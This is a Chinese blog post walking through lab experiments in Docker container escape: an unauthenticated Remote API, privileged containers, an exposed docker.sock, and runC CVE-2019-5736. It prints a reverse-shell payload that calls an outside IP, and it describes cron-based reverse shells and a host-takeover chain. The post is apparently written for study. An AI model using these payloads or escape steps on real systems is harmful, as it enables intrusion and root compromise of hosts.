<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.2.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">
  <link rel="stylesheet" href="/lib/pace/pace-theme-minimal.min.css">
  <script src="/lib/pace/pace.min.js"></script>

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"sekla.cn","root":"/","scheme":"Muse","version":"7.8.0","exturl":false,"sidebar":{"position":"right","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":"valine","storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="Docker Escape案例分析 ​    当我们获取到一个系统shell，我们攻击点很可能处于服务器的一个虚拟目录中，也就是Docker中，这个时候我们如果需要得到宿主机的权限，也就是Docker Escape。">
<meta property="og:type" content="article">
<meta property="og:title" content="Docker Escape部分案例实验分析">
<meta property="og:url" content="http://sekla.cn/2021/12/23/docker-escape/index.html">
<meta property="og:site_name" content="Sekla&#39;s Blog">
<meta property="og:description" content="Docker Escape案例分析 ​    当我们获取到一个系统shell，我们攻击点很可能处于服务器的一个虚拟目录中，也就是Docker中，这个时候我们如果需要得到宿主机的权限，也就是Docker Escape。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/fFQbuVDn8oJEKhl.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/Xe7xN2KFPbonYms.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/vGounQXxlKAtTyi.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/9xXgzcKAFUrL4aE.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/vtdBFDMI2JQGnpA.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/WOun8QIvt5aJHKh.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/bYPCpF3um45VM1e.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/jeOi5BP1J6ZcCRp.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/HpDmFwxY9QNA3yg.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/5eQKIsVODcXvMPk.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/GOWdRBgA2u3jFPb.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/hKY1ljrN7SvnpHo.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/5Hm7hRnJoYfeT9C.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/VISm714YaU6iMnb.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/1qVi5mKSzQ3vsjJ.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/dcBlyopRGXnAiw4.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/13/9wLAbdCtoarPUJH.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/vkCjJouWOnhTibZ.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/FTonBlq8UXHGQm4.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/Wv3INTb6nz8MXUE.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/32Kge5RD4YxsENr.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/abNDoqR4VAyX1z2.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/Sei6dTrJO7D1vF8.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/BpaJfU2MldzOYNZ.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/21/ORwrLN7WCTcU2hv.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/22/NaWywAo5BHl2TuZ.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/22/sWYVAUOcZTo4LIz.png">
<meta property="og:image" content="c:/Users/shentio/AppData/Roaming/Typora/typora-user-images/image-20211222171251917.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/22/QuiaODFIWNUq9mM.png">
<meta property="og:image" content="https://s2.loli.net/2021/12/22/mDW2Ho1JMO3zLBa.png">
<meta property="article:published_time" content="2021-12-23T08:30:00.000Z">
<meta property="article:modified_time" content="2022-01-11T12:39:41.766Z">
<meta property="article:author" content="Sekla">
<meta property="article:tag" content="C++">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://s2.loli.net/2021/12/13/fFQbuVDn8oJEKhl.png">

<link rel="canonical" href="http://sekla.cn/2021/12/23/docker-escape/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>Docker Escape部分案例实验分析 | Sekla's Blog</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

  <script type="text/javascript" src="/js/my_js/clicklove.js"></script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --></head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">Sekla's Blog</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
      <p class="site-subtitle" itemprop="description">Keep Learning Keep Doing</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签<span class="badge">14</span></a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类<span class="badge">23</span></a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档<span class="badge">100</span></a>

  </li>
  </ul>
</nav>




</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>
  <div class="reading-progress-bar"></div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://sekla.cn/2021/12/23/docker-escape/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.jpg">
      <meta itemprop="name" content="Sekla">
      <meta itemprop="description" content="Sekla">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Sekla's Blog">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          Docker Escape部分案例实验分析
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2021-12-23 16:30:00" itemprop="dateCreated datePublished" datetime="2021-12-23T16:30:00+08:00">2021-12-23</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2022-01-11 20:39:41" itemprop="dateModified" datetime="2022-01-11T20:39:41+08:00">2022-01-11</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/" itemprop="url" rel="index"><span itemprop="name">软件安全</span></a>
                </span>
            </span>

          
            <span class="post-meta-item" title="阅读次数" id="busuanzi_container_page_pv" style="display: none;">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span id="busuanzi_value_page_pv"></span>
            </span><br>
            <span class="post-meta-item" title="本文字数">
              <span class="post-meta-item-icon">
                <i class="far fa-file-word"></i>
              </span>
                <span class="post-meta-item-text">本文字数：</span>
              <span>6.1k</span>
            </span>
            <span class="post-meta-item" title="阅读时长">
              <span class="post-meta-item-icon">
                <i class="far fa-clock"></i>
              </span>
                <span class="post-meta-item-text">阅读时长 &asymp;</span>
              <span>6 分钟</span>
            </span>

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>Docker Escape案例分析</p>
<p>​    当我们获取到一个系统shell，我们攻击点很可能处于服务器的一个虚拟目录中，也就是Docker中，这个时候我们如果需要得到宿主机的权限，也就是Docker Escape。</p>
<a id="more"></a>

<h2 id="Docker简介"><a href="#Docker简介" class="headerlink" title="Docker简介"></a>Docker简介</h2><p>​    Docker是一个开源的应用容器引擎，Docker可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口,更重要的是容器性能开销极低。</p>
<p>无论是想假设网站，资料库，Mail Server等，只需要<code>docker run</code>就可以启动环境，不用劳神配置环境。但是Docker也是存在漏洞的。</p>
<h3 id="基本架构"><a href="#基本架构" class="headerlink" title="基本架构"></a>基本架构</h3><p>Docker三大件：</p>
<ol>
<li>镜像Image，Docker镜像，就相当于是一个root文件系统。</li>
<li>容器Container，镜像是静态的定义，容器则是镜像运行的实体，类似类和示例。容器可以被创建，启动，停止，删除等操作。</li>
<li>仓库Repository，仓库即代码控制中心，保存镜像。</li>
</ol>
<p>Docker使用经典的C/S架构，使用远程API管理创建Docker容器。容器通过镜像来创建。</p>
<p><strong>架构图</strong>：</p>
<p><img src="https://s2.loli.net/2021/12/13/fFQbuVDn8oJEKhl.png" alt="image-20211213143358514"></p>
<p>Clients即Docker客户端，通过命令行或者其他工具使用 Docker SDK。</p>
<p>Hosts即Docker主机，一个物理或者虚拟的机器用于执行Docker守护进程和容器。</p>
<h3 id="docker启动："><a href="#docker启动：" class="headerlink" title="docker启动："></a>docker启动：</h3><p>docker启动链：docker-client -&gt; dockerd -&gt; docker-containerd -&gt; docker-containerd-shim -&gt; runc（容器外） -&gt; runc（容器内） -&gt; containter-entrypoint</p>
<h3 id="启动docker"><a href="#启动docker" class="headerlink" title="启动docker"></a>启动docker</h3><p>​    首先简单启动一个容器：<code> docker run -i -t ubuntu:20.04 /bin/bash</code></p>
<p>ubuntu:20.04即我们指定运行的镜像，然后在启动容器里执行/bin/bash，-i参数运行对容器内的标准输入进行交互，-t则在新容器中指定一个伪终端或者终端。</p>
<p><img src="https://s2.loli.net/2021/12/13/Xe7xN2KFPbonYms.png" alt="image-20211213151738849"></p>
<h2 id="Docker逃逸攻击"><a href="#Docker逃逸攻击" class="headerlink" title="Docker逃逸攻击"></a>Docker逃逸攻击</h2><p><strong>Docker逃逸大概分为三类：</strong></p>
<ol>
<li><strong>Docker配置不当</strong><ul>
<li><strong>Docker Remote API未授权访问</strong></li>
<li><strong>Docker.sock挂载到容器内部</strong></li>
<li><strong>Docker高危启动参数</strong><ul>
<li><strong>privileged特权模式</strong></li>
<li><strong>挂载敏感目录</strong></li>
<li><strong>相关启动参数存在安全问题</strong></li>
</ul>
</li>
</ul>
</li>
<li><strong>Docker软件设计漏洞逃逸</strong><ul>
<li><strong>runC容器逃逸漏洞(CVE-2019-5736)</strong></li>
<li><strong>Docker cp命令(CVE-2019-14271)</strong></li>
</ul>
</li>
<li><strong>内核漏洞逃逸</strong><ul>
<li><strong>Dirty-Cow漏洞((CVE-2016-5195))</strong></li>
</ul>
</li>
</ol>
<h3 id="判断是否在Docker中"><a href="#判断是否在Docker中" class="headerlink" title="判断是否在Docker中"></a>判断是否在Docker中</h3><p>1.Docker攻击第一步，首先看看自己是不是在容器中，输入<code>ls -alh /.dockerenv</code></p>
<p><img src="https://s2.loli.net/2021/12/13/vGounQXxlKAtTyi.png" alt="image-20211213151838795"></p>
<p>有文件则为docker环境，否则为非docker环境。</p>
<p>2.查询系统进程cgroup信息：</p>
<p><img src="https://s2.loli.net/2021/12/13/9xXgzcKAFUrL4aE.png" alt="image-20211213152041728"></p>
<p>当然还有其他很多方法，查看硬盘，判断进程名都可以。</p>
<h3 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h3><p>腾讯云CentOS 8.2 64bit</p>
<p>环境配置：<a target="_blank" rel="noopener" href="https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/">https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/</a></p>
<p>根据提示输入命令：</p>
<p><code>curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh &amp;&amp; bash install.sh</code></p>
<p>安装完毕后会自动进入docker容器，可以开始实验。</p>
<p><img src="https://s2.loli.net/2021/12/13/vtdBFDMI2JQGnpA.png" alt="image-20211213160217803"></p>
<p>docker:</p>
<p><img src="https://s2.loli.net/2021/12/13/WOun8QIvt5aJHKh.png" alt="image-20211213160236868"></p>
<p>进入容器</p>
<h2 id="Docker-Remote-API未授权访问"><a href="#Docker-Remote-API未授权访问" class="headerlink" title="Docker Remote API未授权访问"></a>Docker Remote API未授权访问</h2><p>docker swarm是管理docker集群的工具，主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务，可以通过HTTP、Python、调用API来操作Docker。</p>
<p>官方推荐的启动方式：</p>
<p><code>sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock</code></p>
<p>如果按照推荐启动，在没有其他网络访问限制的主机上使用，则会在公网暴露端口。</p>
<blockquote>
<p>AWS uses a “security group” to allow specific types of network traffic on your VPC network. The default security group’s initial set of rules deny all inbound traffic, allow all outbound traffic, and allow all traffic between instances.</p>
</blockquote>
<p><img src="https://s2.loli.net/2021/12/13/bYPCpF3um45VM1e.png" alt="image-20211213162636877"></p>
<p>影响不只是2375端口，其他2376等端口都可以。</p>
<p>前提：</p>
<ol>
<li>root权限启动docker</li>
<li>主机上有镜像</li>
<li>API版本大于1.5</li>
</ol>
<p><img src="https://s2.loli.net/2021/12/13/jeOi5BP1J6ZcCRp.png" alt="image-20211213162818450"></p>
<p>关闭云服务器对应防火墙之后：</p>
<p><img src="https://s2.loli.net/2021/12/13/HpDmFwxY9QNA3yg.png" alt="image-20211213163630358"></p>
<p>直接访问:</p>
<p><img src="https://s2.loli.net/2021/12/13/5eQKIsVODcXvMPk.png" alt="image-20211213163649114"></p>
<h4 id="利用方法：HTTP-curl-api"><a href="#利用方法：HTTP-curl-api" class="headerlink" title="利用方法：HTTP curl api"></a>利用方法：HTTP curl api</h4><p>在容器上获取RCE</p>
<p><strong>1.列出所有容器</strong></p>
<p>第一步获取主机上所有容器列表：</p>
<p><img src="https://s2.loli.net/2021/12/13/GOWdRBgA2u3jFPb.png" alt="image-20211213164110810"></p>
<p>注意ld字段。</p>
<p><strong>2.创建一个exec</strong></p>
<p>创建一个将在容器上执行的exec示例，可以用于执行命令。这里执行/etc/passwd</p>
<p><img src="https://s2.loli.net/2021/12/13/hKY1ljrN7SvnpHo.png" alt="image-20211213164602524"></p>
<p>用Burp模拟发包：</p>
<img src="https://s2.loli.net/2021/12/13/5Hm7hRnJoYfeT9C.png" alt="image-20211213171821701"  />

<p>注意回复的ld。</p>
<p><strong>3.启动exec</strong></p>
<p>现在已经创建exec，我们就需要运行它：</p>
<p><img src="https://s2.loli.net/2021/12/13/VISm714YaU6iMnb.png" alt="image-20211213172120340"></p>
<p>已经返回/etc/passwd的内容。</p>
<p>现在我们已经获取到docker主机的命令执行权限，但是还是无法逃逸到宿主机。</p>
<p>可以尝试通过写一个计划任务或者写ssh密钥得到宿主机限权。</p>
<p>启动一个docker容器，主机的根目录安装到容器的一个卷上，这样就可以对主机的文件系统执行命令。由于目前所讨论的漏洞允许你完全的控制API，因此可以控制docker主机。</p>
<p><strong>4.查看宿主机的docker镜像并启动容器将宿主机根目录挂载到容器的test目录</strong></p>
<p><img src="https://s2.loli.net/2021/12/13/1qVi5mKSzQ3vsjJ.png" alt="image-20211213173419398"></p>
<p><strong>5.写计划任务来获取反向shell</strong></p>
<p><img src="https://s2.loli.net/2021/12/13/dcBlyopRGXnAiw4.png" alt="image-20211213180636976"></p>
<p>成功获取反向shell</p>
<p><img src="https://s2.loli.net/2021/12/13/9wLAbdCtoarPUJH.png" alt="image-20211213180619842"></p>
<h2 id="Docker高危启动参数"><a href="#Docker高危启动参数" class="headerlink" title="Docker高危启动参数"></a>Docker高危启动参数</h2><p>​    Docker容器几个启动参数，以特权模式启动Docker，docker容器内拥有宿主机文件的读写权限，可以通过写ssh密钥，计划任务等方式达到逃逸。、</p>
<h3 id="–privileged"><a href="#–privileged" class="headerlink" title="–privileged"></a>–privileged</h3><p>首先以–privileged参数启动docker container。获得docker container shell比如通过蜜罐漏洞，业务漏洞等途径获得。</p>
<p>启动docker容器，使用此参数，容器可以完全访问所有设备，并且不受权限等限制。</p>
<p>mount命令它可以将分区挂接到Linux的一个文件夹下，从而将分区和该目录联系起来，因此我们只要访问这个文件夹，就相当于访问该分区了。</p>
<p><img src="https://s2.loli.net/2021/12/21/vkCjJouWOnhTibZ.png" alt="image-20211221150610941"></p>
<p>首先将分区挂载到一个目录下。</p>
<p>当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限。</p>
<p>然后在容器内部创建一个目录并挂载分区：</p>
<p><img src="https://s2.loli.net/2021/12/21/FTonBlq8UXHGQm4.png" alt="image-20211221153349289"></p>
<p><img src="https://s2.loli.net/2021/12/21/Wv3INTb6nz8MXUE.png" alt="image-20211221153827313"></p>
<p>nc监听端口，接收到反向shell。</p>
<p><img src="https://s2.loli.net/2021/12/21/32Kge5RD4YxsENr.png" alt="image-20211221153902378"></p>
<h2 id="docker-sock挂载到容器内部"><a href="#docker-sock挂载到容器内部" class="headerlink" title="docker.sock挂载到容器内部"></a>docker.sock挂载到容器内部</h2><p>docker采用C/S架构，平常使用docker时，docker为client，docker daemon为server。</p>
<p>它接收Docker Client发送的操作指令并执行；另一个重要职能是管理Docker的对象，如镜像、容器、数据卷、网络。</p>
<p>Docker daemon可以与其它Docker daemon通信以管理容器的服务。</p>
<p><img src="https://s2.loli.net/2021/12/21/abNDoqR4VAyX1z2.png" alt="image-20211221164043442"></p>
<p>通信方式如下3种：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">unix:///var/run/dokcer.sock</span><br><span class="line">tcp:://host:port</span><br><span class="line">fd://sockerfd</span><br></pre></td></tr></table></figure>

<p>其中默认使用docker.sock进行通信，容器中进程需要与docker守护进程通信的时候，容器本身需要挂载/var/run/docker.sock文件。</p>
<p>而且能够访问docker socket或者连接https api的进程可以执行docker服务器能够运行的任意指令，而且以root1权限运行的docker服务通常可以访问整个主机系统。</p>
<p>所以当容器访问docker socket时候，我们可以通过与docker daemon的通信对其进行恶意操纵完成逃逸。</p>
<p>如果我们有一个容器A，且可以访问docker socket，可以在容器内部安装docker，然后通过这个docker.sock与宿主机的docker daemon通信交互，切换到不安全容器B，最终在容器B控制宿主机。</p>
<h2 id="runC容器逃逸漏洞-CVE-2019-5736"><a href="#runC容器逃逸漏洞-CVE-2019-5736" class="headerlink" title="runC容器逃逸漏洞(CVE-2019-5736)"></a>runC容器逃逸漏洞(CVE-2019-5736)</h2><p>runC是管理容器创建，运行销毁等操作的容器引擎。</p>
<p>Docker就是基于runC创建的，简单地说，runC是Docker中最为核心的部分，容器的创建，运行，销毁等等操作最终都将通过调用runC完成。</p>
<p>开放容器计划（OCI）定义了容器运行时标准，runC 是 Docker 按照开放容器格式标准 Open Container Format, OCF 制定的一种具体实现。</p>
<p><img src="https://s2.loli.net/2021/12/21/Sei6dTrJO7D1vF8.png" alt="image-20211221170743084"></p>
<p>RunC 作为容器的最底层运行环境，其上层通过 Docker 进行管理。</p>
<p><img src="https://s2.loli.net/2021/12/21/BpaJfU2MldzOYNZ.png" alt="image-20211221165959233"></p>
<p>runC所有配置和状态都会存储在本地文件系统，而且runc创建容器时会将状态记录到state.json中，所有查询都是从该文件中取得容器基本信息，然后再从系统获取实时状态。</p>
<p>runc 在被 docker-containerd-shim 调用时，参数中会指定容器的配置路径（即 config.json 的位置），同时容器的根路径也已经准备完毕，因此 runc 不会有跟镜像相关的概念。容器的启动过程分析直接从 runc run 开始，即 docker 调用链中的 runc（容器外）这个时间点。</p>
<h3 id="runC利用链"><a href="#runC利用链" class="headerlink" title="runC利用链"></a>runC利用链</h3><p><img src="https://s2.loli.net/2021/12/21/ORwrLN7WCTcU2hv.png" alt="image-20211221170825323"></p>
<p>攻击者可以通过特定容器镜像或者exec操作获取到宿主机runc执行时的文件描述符并修改runc的二进制文件，从而获取宿主机root。</p>
<p>总而言之，通过构造一个恶意的容器，替换掉 runc 执行程序。runc 被再次执行时，恶意代码即可拿到 root 权限。</p>
<p>过程：</p>
<ol>
<li>在 runc init 的最后一个阶段，runc 会加载容器的 entrypoint</li>
<li>我们伪造一个容器，它具备以下两个要素：<ul>
<li>entrypoint 链接到 /proc/self/exe</li>
<li>含有恶意代码的 libc.so（或者其他任意 so，只要会被 runc 加载就行）</li>
</ul>
</li>
<li>当 runc init 最后通过 execve 启动 entrypoint 时，由于 entrypoint 指向了 /proc/self/exe，那么实际上就等于执行了 runc 自身</li>
<li>runc init 被替换，但是容器内的 runc 启动了，由于现在 rootfs 已经是容器的 rootfs 了，所以 so 会从容器内加载，这样就会加载到含有恶意代码的 libc.so</li>
<li>libc.so 的恶意代码在 constructor 里，所以一加载这个 so，这个代码就会执行。恶意代码通过 open 系统调用去只读形式打开 /proc/self/exe（只能以只读形式，因为 runc 在运行），这个时候就会有一个对应的 fd 保留下来</li>
<li>恶意代码这个时候通过 execve 去执行容器内的一个程序，这样不会导致 PID 发生变化，但是程序改变了，并且 fd 继续保留了下来</li>
<li>程序的工作就是找到 fd 编号，就在 /proc/self/fd/ 中，然后再以写的方式重新打开这个 fd（这个时候因为 runc 已经退出了，所以可以以写的方式打开）。然后写入包含恶意代码的 runc。</li>
<li>在下次宿主机上的 runc 再被执行时，这个恶意代码即可执行，并且拥有 runc 的权限，即 root 权限。</li>
</ol>
<h3 id="1-docker-exec-poc"><a href="#1-docker-exec-poc" class="headerlink" title="1.docker exec poc"></a>1.docker exec poc</h3><p>payload源码：<a target="_blank" rel="noopener" href="https://github.com/Frichetten/CVE-2019-5736-PoC/">https://github.com/Frichetten/CVE-2019-5736-PoC/</a></p>
<p>下载go文件之后，修改为指定接受反向shell的ip地址：</p>
<p><code>var payload = &quot;#!/bin/bash \n bash -i &gt;&amp; /dev/tcp/119.45.121.127/9999 0&gt;&amp;1&quot;</code></p>
<p><img src="https://s2.loli.net/2021/12/22/NaWywAo5BHl2TuZ.png" alt="image-20211222172140410"></p>
<p>编译并将执行文件复制到容器中，在docker容器中启动脚本。</p>
<p>复制脚本到docker容器中，然后运行容器和脚本。</p>
<p><img src="https://s2.loli.net/2021/12/22/sWYVAUOcZTo4LIz.png" alt="image-20211222171210614"></p>
<p>运行main文件，会覆写/bin/sh并等启动runc:</p>
<p><img src="C:\Users\shentio\AppData\Roaming\Typora\typora-user-images\image-20211222171251917.png" alt="image-20211222171251917"></p>
<p><img src="https://s2.loli.net/2021/12/22/QuiaODFIWNUq9mM.png" alt="image-20211222171425409"></p>
<p><img src="https://s2.loli.net/2021/12/22/mDW2Ho1JMO3zLBa.png" alt="image-20211222171437262"></p>
<p>一旦启动就成功攻击。</p>
<p>这时接受shell机监听9999端口即可获得反向shell。</p>
<h3 id="PoC原理"><a href="#PoC原理" class="headerlink" title="PoC原理"></a>PoC原理</h3><p>本质上是一个陷阱，攻击者需要在容器内自行命令并启动一个会监听的二进制文件，当受害者docker exec进入容器，就会触发漏洞。</p>
<p>因此要利用此漏洞需要拥有root。</p>
<p>目标二进制文件是 /bin/bash，则可以将其替换为指定解释器路径的可执行脚本 #!/proc/self/exe（/proc/self/exec 是由内核创建的符号链接，用于每个指向为该进程执行的二进制文件的进程）。因此，当 /bin/bash 在容器内执行时，将执行 /proc/self/exe 的目标 - 它将指向主机上的 runc 二进制文件。</p>
<p>通过/bin/sh在容器内覆盖实现，容器<code>#!/proc/self/exe</code>将指向启动此进程的二进制文件（Docker exec）。</p>
<p>我们<code>runcinit</code>通过获取 的文件句柄来获取 的文件描述符<code>/proc/PID/exe</code>。从那里，我们然后使用该句柄获取<code>/proc/self/fd/FILEDESCRIPTOR</code>. 这是我们将用于写入的文件句柄。</p>
<h2 id="reference"><a href="#reference" class="headerlink" title="reference:"></a>reference:</h2><p><a target="_blank" rel="noopener" href="https://blog.csdn.net/whatday/article/details/107539277/?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1.searchformbaiduhighlight&amp;spm=1001.2101.3001.4242">https://blog.csdn.net/whatday/article/details/107539277/?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1.searchformbaiduhighlight&amp;spm=1001.2101.3001.4242</a></p>
<p>docker实验演示。</p>
<p><a target="_blank" rel="noopener" href="https://xz.aliyun.com/t/7881#toc-5">https://xz.aliyun.com/t/7881#toc-5</a></p>
<p>docker逃逸攻击部分原理指导。</p>
<p><a target="_blank" rel="noopener" href="https://wooyun.js.org/drops/%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8.html">https://wooyun.js.org/drops/%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8.html</a></p>
<p>docker remote api攻击逃逸原理。</p>
<p><a target="_blank" rel="noopener" href="https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/">https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/</a></p>
<p>docker.sock暴露攻击逃逸原理。</p>
<p><a target="_blank" rel="noopener" href="https://docs.docker.com/">https://docs.docker.com/</a></p>
<p>docker官方文档。</p>
<p><a target="_blank" rel="noopener" href="https://gohalo.me/post/docker-component-runc-introduce.html?ivk_sa=1024320u">https://gohalo.me/post/docker-component-runc-introduce.html?ivk_sa=1024320u</a></p>
<p>关于runC介绍。</p>
<p><a target="_blank" rel="noopener" href="https://zhuanlan.zhihu.com/p/28467287">https://zhuanlan.zhihu.com/p/28467287</a></p>
<p>关于OCI</p>
<p><a target="_blank" rel="noopener" href="https://imkira.com/runc/">https://imkira.com/runc/</a></p>
<p>runC启动容器过程</p>

    </div>
    
    
    

      <footer class="post-footer">
          
          <div class="post-tags">
              <a href="/tags/C/" rel="tag"><i class="fa fa-tag"></i> C++</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2021/12/20/cppadv-typename/" rel="prev" title="探究C++语法细节 typename">
      <i class="fa fa-chevron-left"></i> 探究C++语法细节 typename
    </a></div>
      <div class="post-nav-item">
